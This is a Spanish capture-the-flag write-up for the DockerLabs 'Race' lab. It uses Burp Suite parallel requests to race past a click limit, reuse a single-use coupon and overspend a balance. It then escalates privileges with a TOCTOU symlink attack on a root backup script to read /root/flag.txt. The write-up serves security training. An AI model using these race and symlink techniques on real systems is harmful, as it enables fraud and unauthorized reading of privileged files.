{"url":"https://writeups.es/writeups/dockerlabs/race/juanluismm520","machine":{"name":"Race","slug":"race","platform":"DockerLabs","platform_slug":"dockerlabs","difficulty":"medio","difficulty_label":"Medio","operating_system":["Linux"],"tags":["web","ssh"],"original_url":"https://dockerlabs.es/","all_writeups":"https://writeups.es/maquinas/dockerlabs/race"},"author":{"nickname":"juanluismm520","url":"https://writeups.es/u/juanluismm520","bio":null},"summary":null,"outline":[{"level":1,"title":"Race","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#race"},{"level":2,"title":"📝 Resumen","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#resumen"},{"level":2,"title":"🔍 Enumeración","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#enumeracion"},{"level":3,"title":"Escaneo de Puertos (Nmap)","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#escaneo-de-puertos-nmap"},{"level":1,"title":"Nivel 1","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#nivel-1"},{"level":3,"title":"Análisis con Burp Suite","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#analisis-con-burp-suite"},{"level":3,"title":"💥 Explotación","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#explotacion"},{"level":1,"title":"Nivel 2","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#nivel-2"},{"level":3,"title":"Análisis con Burp Suite","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#analisis-con-burp-suite-2"},{"level":1,"title":"Nivel 3","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#nivel-3"},{"level":3,"title":"Análisis con Burp Suite","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#analisis-con-burp-suite-3"},{"level":1,"title":"Nivel SSH - Race Condition Windows","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#nivel-ssh-race-condition-windows"},{"level":2,"title":"💥 Explotación","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#explotacion-2"},{"level":1,"title":"Conclusión","anchor":"https://writeups.es/writeups/dockerlabs/race/juanluismm520#conclusion"}],"cves":[],"code_languages":["bash","http"],"stats":{"words":529,"reading_minutes":3,"votes":0},"content_markdown":"# Race\n\n> Plataforma: **DockerLabs** | Dificultad: **Medio** | IP: `172.17.0.2`\n\n\n## 📝 Resumen\n\nLaboratorio para practicar la vulnerabilidad race condition en el contexto de webs donde haya limitaciones o free trial, donde podremos bypassear dichas restricciones. La máquina cuenta con 3 niveles.\n\n## 🔍 Enumeración\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/ed0c20eb-545b-4402-9a89-07f3782c43e4.webp)\n\n\nInvestigando el javascript veo una función curiosa que si la modificaramos podríamos resolver el lab. Puesto que el laboratorio va acerca de un race condition, entendemos que modificar el javascript en el lado del cliente no tiene sentido. \n\n\n### Escaneo de Puertos (Nmap)\n\n```bash\n# Escaneo inicial\nnmap -sC -sV -p- --min-rate 5000 -oN nmap_race 172.17.0.2\n```\n\n```bash\nStarting Nmap 7.98 ( https://nmap.org ) at 2026-06-15 14:32 +0200\nNmap scan report for 172.17.0.2\nHost is up (0.000060s latency).\nNot shown: 998 closed tcp ports (reset)\nPORT     STATE SERVICE VERSION\n22/tcp   open  ssh     OpenSSH 10.0p2 Debian 7 (protocol 2.0)\n5000/tcp open  http    Werkzeug httpd 3.1.4 (Python 3.13.5)\n|_http-title: SaaS Dashboard - Free Tier\n|_http-server-header: Werkzeug/3.1.4 Python/3.13.5\nMAC Address: 26:4E:AD:7B:57:A5 (Unknown)\nDevice type: general purpose\nRunning: Linux 4.X|5.X\nOS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5\nOS details: Linux 4.15 - 5.19\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\n```\n\n\nUn linux con un servicio web y otro ssh\n\n# Nivel 1\n\n### Análisis con Burp Suite\n\nInterceptamos la petición click\n\n```http\nHTTP/1.1 200 OK\nServer: Werkzeug/3.1.4 Python/3.13.5\nDate: Mon, 15 Jun 2026 16:26:42 GMT\nContent-Type: application/json\nContent-Length: 82\nConnection: close\n\n{\n  \"message\": \"\\u2705 Acci\\u00f3n completada con \\u00e9xito\",\n  \"status\": \"ok\"\n}\n\n```\n\nProbablemente la que haya que explotar. \n\n### 💥 Explotación\n\nEn la petición interceptada con Burp le damos a **_Send to the repeater_** varias veces, con darle más de 3 que es el límite del free trial es suficiente.\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/bf1ed882-6295-4e58-9cfe-83f21ec68c28.webp)\n\n\nNos vamos al repeater de Burp y en las pestañas que nos aparece (1, 2, 3, 4... dependiendo de cuantas veces hayamos mandado la petición al repeater) damos click derecho y create new group y elegimos todas (select all). \n\nSe nos debe quedar algo así:\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/546693f5-fc74-4894-a084-88c79f94df10.webp)\n\nPulsamos en **_Send group in parallel_** y enviamos\n\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/dc54acb8-a2ce-4133-beba-6188139b9d7b.webp)\n\n\n# Nivel 2\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/9ebb1d50-b0cc-45bc-96bb-36c0f0927a7f.webp)\n\n\n### Análisis con Burp Suite\n\nInterceptamos la petición buy. Si conseguimos bypassearla habremos pasado al nivel 3.\n\n```http\nHTTP/1.1 400 BAD REQUEST\nServer: Werkzeug/3.1.4 Python/3.13.5\nDate: Mon, 15 Jun 2026 16:35:46 GMT\nContent-Type: application/json\nContent-Length: 75\nConnection: close\n\n{\n  \"message\": \"Saldo insuficiente. Necesitas $50.\",\n  \"status\": \"error\"\n}\n\n```\n\nInterceptamos la petición reedem, seguramente la que haya que explotar. \n\n```http\nPOST /level-2/redeem HTTP/1.1\nHost: 172.17.0.2:5000\nContent-Length: 19\nAuthorization: Basic Y29uZGl0aW9uMTpyYWNlMQ==\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept: */*\nOrigin: http://172.17.0.2:5000\nReferer: http://172.17.0.2:5000/level-2\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n\n{\"code\":\"TRIAL-10\"}\n\n```\n\nLa petición nos devuelve `message\": \"Este cup\\u00f3n ya ha sido usado\"` si lo hacemos más de una vez, y nos añade 10$ de saldo a la cuenta. \n\n**Hacemos lo mismo que antes pero la petición reedem y con 5 pestañas o más si o si**. \n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/69876e8b-3fc8-4fe5-a14b-9dcc09f3a39b.webp)\n\nCon 6 pestañas me han dado 60$.\n\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/40aa552c-60d4-4656-a23d-df183e5eee21.webp)\n\n# Nivel 3\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/cc65848f-39cb-4406-8f8a-b8f999bfc259.webp)\n\nEn este caso tenemos un panel de compra de criptomonedas. \n\n### Análisis con Burp Suite\n\nInterceptamos la petición buy. Seguramente haya que bypassearla. \n\n```http\nPOST /level-3/buy HTTP/1.1\nHost: 172.17.0.2:5000\nContent-Length: 12\nAuthorization: Basic cmFjZTpjb25kaXRpb24=\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept: */*\nOrigin: http://172.17.0.2:5000\nReferer: http://172.17.0.2:5000/level-3\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n\n{\"amount\":1}\n\n```\n\nNos da la siguiente response si compramos de más:\n\n\n```http\nHTTP/1.1 400 BAD REQUEST\nServer: Werkzeug/3.1.4 Python/3.13.5\nDate: Mon, 15 Jun 2026 16:46:54 GMT\nContent-Type: application/json\nContent-Length: 84\nConnection: close\n\n{\n  \"message\": \"Saldo insuficiente. Necesitas 1000.00 USDT.\",\n  \"status\": \"error\"\n}\n\n```\n\n\nBásicamente haciendo lo mismo que en los otros niveles obtenemos:\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/37dc869a-4f38-4b4e-9aa2-f0516f3b573b.webp)\n\n# Nivel SSH - Race Condition Windows\nEntramos por ssh y haciendo un ls tenemos lo siguiente:\n\n```bash\nracebtc@27ed90d41a66:~$ ls\nREADME.txt  backup_me  privesc_exploit.sh\n\nracebtc@27ed90d41a66:~$ cat README.txt                                                                                                                                                                                          \n╔════════════════════════════════════════════════════════╗\n║          BIENVENIDO AL RETO FINAL                     ║\n║          Escalada de Privilegios                      ║\n╚════════════════════════════════════════════════════════╝\n\nOBJETIVO: Obtener acceso a /root/flag.txt\n\nPISTAS:\n1. Hay un script ejecutándose automáticamente como root\n2. El script procesa archivos en: ~/backup_me/\n3. Los resultados se guardan en: /tmp/backup_output.txt\n4. El script espera 3 segundos antes de leer cada archivo (¡ventana de ataque!)\n\nCOMANDOS ÚTILES:\n- Ver el script:     cat /usr/local/bin/backup_script.sh\n- Ver el log:        cat /tmp/backup_output.txt\n- Ver procesos:      ps aux | grep backup\n\nEXPLOIT INCLUIDO:\n./privesc_exploit.sh    (¡Solo ejecútalo!)\n\n¡Buena suerte! 🚀\n```\n\nEl readme nos da una pista de que es una escalada de privilegios mediante un cron. \n\n\n## 💥 Explotación\nInvestigando por internet, obtengo que estamos ante una vulnerabilidad TOCTOU (o Time-of-Check to Time-of-Use, por sus siglas en inglés). \n\nMiramos el script `cat /usr/local/bin/backup_script.sh` y vemos que hay 3 segundos en los que hay una pausa. \n\nSi creamos un enlace simbólico podríamos obtener acceso a leer archivos privilegiados como `/etc/passwd` o en este caso nuestra flag `/root/flag.txt`\n\nEl script primero comprueba que sea un fichero y no es un enlace simbólico, luego hay una pausa de 3 segundos, y luego lee el archivo **SIN COMPROBAR SI ES UN ENLACE**. \n\nLa sintaxis básica es:\n```bash\nln -s /ruta/del/archivo_original /ruta/del/enlace_simbolico\n```\n\nLo ajustamos a nuestro problema:\n- Creamos un archivo flag.txt vacio\n\n```bash\necho > flag.txt\n```\n  \n- Antes de que pasen los 3 segundos ejecutamos lo siguiente:\n```bash\nln -s /root/flag.txt /home/racebtc/backup_me/flag.txt\n```\n\nObtenemos:\n\n```bash\n[17:15:38] Archivo encontrado: /home/racebtc/backup_me/flag.txt\n[17:15:38] Esperando 3 segundos antes de procesar...\n[17:15:41] Leyendo contenido del archivo...\nFLAG{root_password:RaceCondition2024!}\n```\n\n# Conclusión\nHa sido una máquina bastante interesante, en el que explota varios escenarios reales tanto de web como en sistemas operativos. Pues en sistemas operativos es cierto que suele explotarse en cuestión de milisegundos y no hay tanto tiempo de margen como en este caso (que eran 3 segundos). Sin embargo creo que es una máquina muy útil e interesante para iniciarse en esta vulnerabilidad.\n\n","published_at":"2026-06-15T16:44:44.392355+00:00","updated_at":"2026-08-14T18:15:44.659871+00:00","license":"CC BY-SA 4.0","attribution":"Writeup de juanluismm520 publicado en writeups.es — https://writeups.es/writeups/dockerlabs/race/juanluismm520"}